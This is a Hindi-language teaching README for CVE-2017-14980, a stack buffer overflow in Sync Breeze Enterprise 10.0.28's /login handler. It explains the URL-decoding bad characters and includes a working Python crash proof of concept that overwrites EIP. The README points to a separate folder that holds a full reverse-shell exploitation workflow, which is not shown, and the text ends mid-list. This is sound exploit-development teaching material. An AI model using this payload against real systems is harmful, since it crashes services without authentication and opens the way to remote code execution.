Sync Breeze Enterprise 10.0.28 में /login हैंडलर के माध्यम से पहुंचने योग्य स्टैक-आधारित बफर ओवरफ्लो, यह प्रदर्शित करता है कि कैसे अनियंत्रित इनपुट लंबाई स्टैक मेमोरी को दूषित कर सकती है।
Sync Breeze Enterprise 10.0.28 में /login हैंडलर के माध्यम से पहुँचने योग्य स्टैक-आधारित बफर अतिप्रवाह, यह प्रदर्शित करता है कि कैसे अनियंत्रित इनपुट लंबाई स्टैक मेमोरी को दूषित कर सकती है।
यह रिपॉजिटरी उस सामग्री का हिस्सा है जिसका उपयोग मैं मेमोरी भ्रष्टाचार शोषण सिखाते समय करता हूँ (अपने नियमित कार्य के अतिरिक्त, मैं विभिन्न साइबर सुरक्षा पाठ्यक्रमों में भी पढ़ाता हूँ जहाँ मैं रिवर्स इंजीनियरों की अगली पीढ़ी को प्रशिक्षित करने में मदद करता हूँ)।
CVE-2017-14980 एक ऐसा मामला है जिसका उपयोग मैं तब करता हूँ जब मैं चाहता हूँ कि छात्र कच्चे TCP प्रोटोकॉल के बजाय HTTP पर एक वेनिला EIP अधिलेखन का अनुभव करें। यह पहली नज़र में सरल लगता है, एक लॉगिन फॉर्म, एक लंबा पासवर्ड, एक क्रैश, लेकिन HTTP संदर्भ खराब वर्णों का एक सेट पेश करता है जो तुरंत स्पष्ट नहीं होते हैं और छात्रों को यह सोचने के लिए मजबूर करते हैं कि डेटा को असुरक्षित बफर तक पहुँचने से पहले कैसे संसाधित किया जा रहा है। यह समझना कि %, &, +, और = यहाँ खराब वर्ण क्यों हैं, URL एन्कोडिंग को समझने की आवश्यकता है, जो अपने आप में एक उपयोगी सबक है।
Sync Breeze Enterprise एक Windows फ़ाइल सिंक्रनाइज़ेशन एप्लिकेशन है जो एक वेब प्रबंधन इंटरफ़ेस प्रदर्शित करता है। भेद्यता लॉगिन हैंडलर में है, जो पासवर्ड फ़ील्ड को बिना लंबाई सत्यापन के एक निश्चित आकार के स्टैक बफर में कॉपी करता है। यह मामला शिक्षण के लिए क्या उपयोगी बनाता है:
Sync Breeze Enterprise एक Windows फ़ाइल सिंक्रनाइज़ेशन उपकरण है जिसमें दूरस्थ प्रबंधन के लिए एक अंतर्निहित वेब सर्वर शामिल है। वेब इंटरफ़ेस सक्षम होने पर TCP पोर्ट 80 पर सुनता है और /login पर एक लॉगिन फॉर्म प्रदर्शित करता है। भेद्यता POST हैंडलर में है जो पासवर्ड फ़ील्ड को संसाधित करता है।
मुख्य तकनीकी विवरण:
Sync Breeze POST बॉडी को पढ़कर और पासवर्ड फ़ील्ड निकालकर लॉगिन फॉर्म को संसाधित करता है। मान को बिना लंबाई जाँच के एक निश्चित आकार के स्टैक बफर में कॉपी किया जाता है। असुरक्षित तर्क का एक सरलीकृत संस्करण इस प्रकार दिखता है:
char password_buffer[256];
strcpy(password_buffer, password_field);
कॉपी होने से पहले POST बॉडी URL-डिकोड की जाती है, जिसका अर्थ है कि %25 जैसे वर्ण बफर तक पहुँचने से पहले % में डिकोड हो जाते हैं। यही कारण है कि कुछ URL-विशेष वर्ण खराब वर्णों के रूप में कार्य करते हैं, वे डेटा के असुरक्षित कॉपी ऑपरेशन तक पहुँचने से पहले HTTP परत द्वारा व्याख्या किए जाते हैं। पर्याप्त लंबा पासवर्ड मान भेजने से कॉपी बफर के अंत से आगे लिखती है, जिससे सहेजा गया रिटर्न पता अधिलेखित हो जाता है। जब फ़ंक्शन वापस आता है, तो CPU स्टैक से हमलावर-नियंत्रित मान को EIP में लोड करता है और उस पर कूद जाता है।
/login पर POST अनुरोध में एक अत्यधिक बड़ा पासवर्ड भेजकर क्रैश को दोहराया जा सकता है। किसी प्रमाणीकरण की आवश्यकता नहीं है। Python का उपयोग करके उदाहरण:
import socket
HOST = '127.0.0.1'
PORT = 80
payload = b"A" * 600
body = b"username=admin&password=" + payload
request = (
b"POST /login HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Connection: close\r\n"
b"\r\n" +
body
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(request)
s.close()
जब डीबगर के तहत निष्पादित किया जाता है, तो क्रैश उपयोगकर्ता-नियंत्रित डेटा के साथ अधिलेखित EIP दिखाता है:
EIP = 41414141
यह पुष्टि करता है कि सहेजा गया रिटर्न पता अतिप्रवाह के कारण दूषित हो गया है।
इस रिपॉजिटरी का उद्देश्य केवल क्रैश प्रदर्शित करना नहीं है, बल्कि पूर्ण शोषण प्रक्रिया को चरण दर चरण, फज़िंग से लेकर कार्यशील रिवर्स शेल तक, समझाना है।
मुख्य README को साफ रखने के लिए, विस्तृत शोषण नोट्स, स्क्रिप्ट्स और डीबगर चरण इस रिपॉजिटरी के Vulnerability 📂 फ़ोल्डर में रखे गए हैं।
वहाँ आपको इस CVE का शोषण करने के लिए उपयोग किए जाने वाले पूर्ण कार्यप्रवाह मिलेगा, जिसमें शामिल हैं: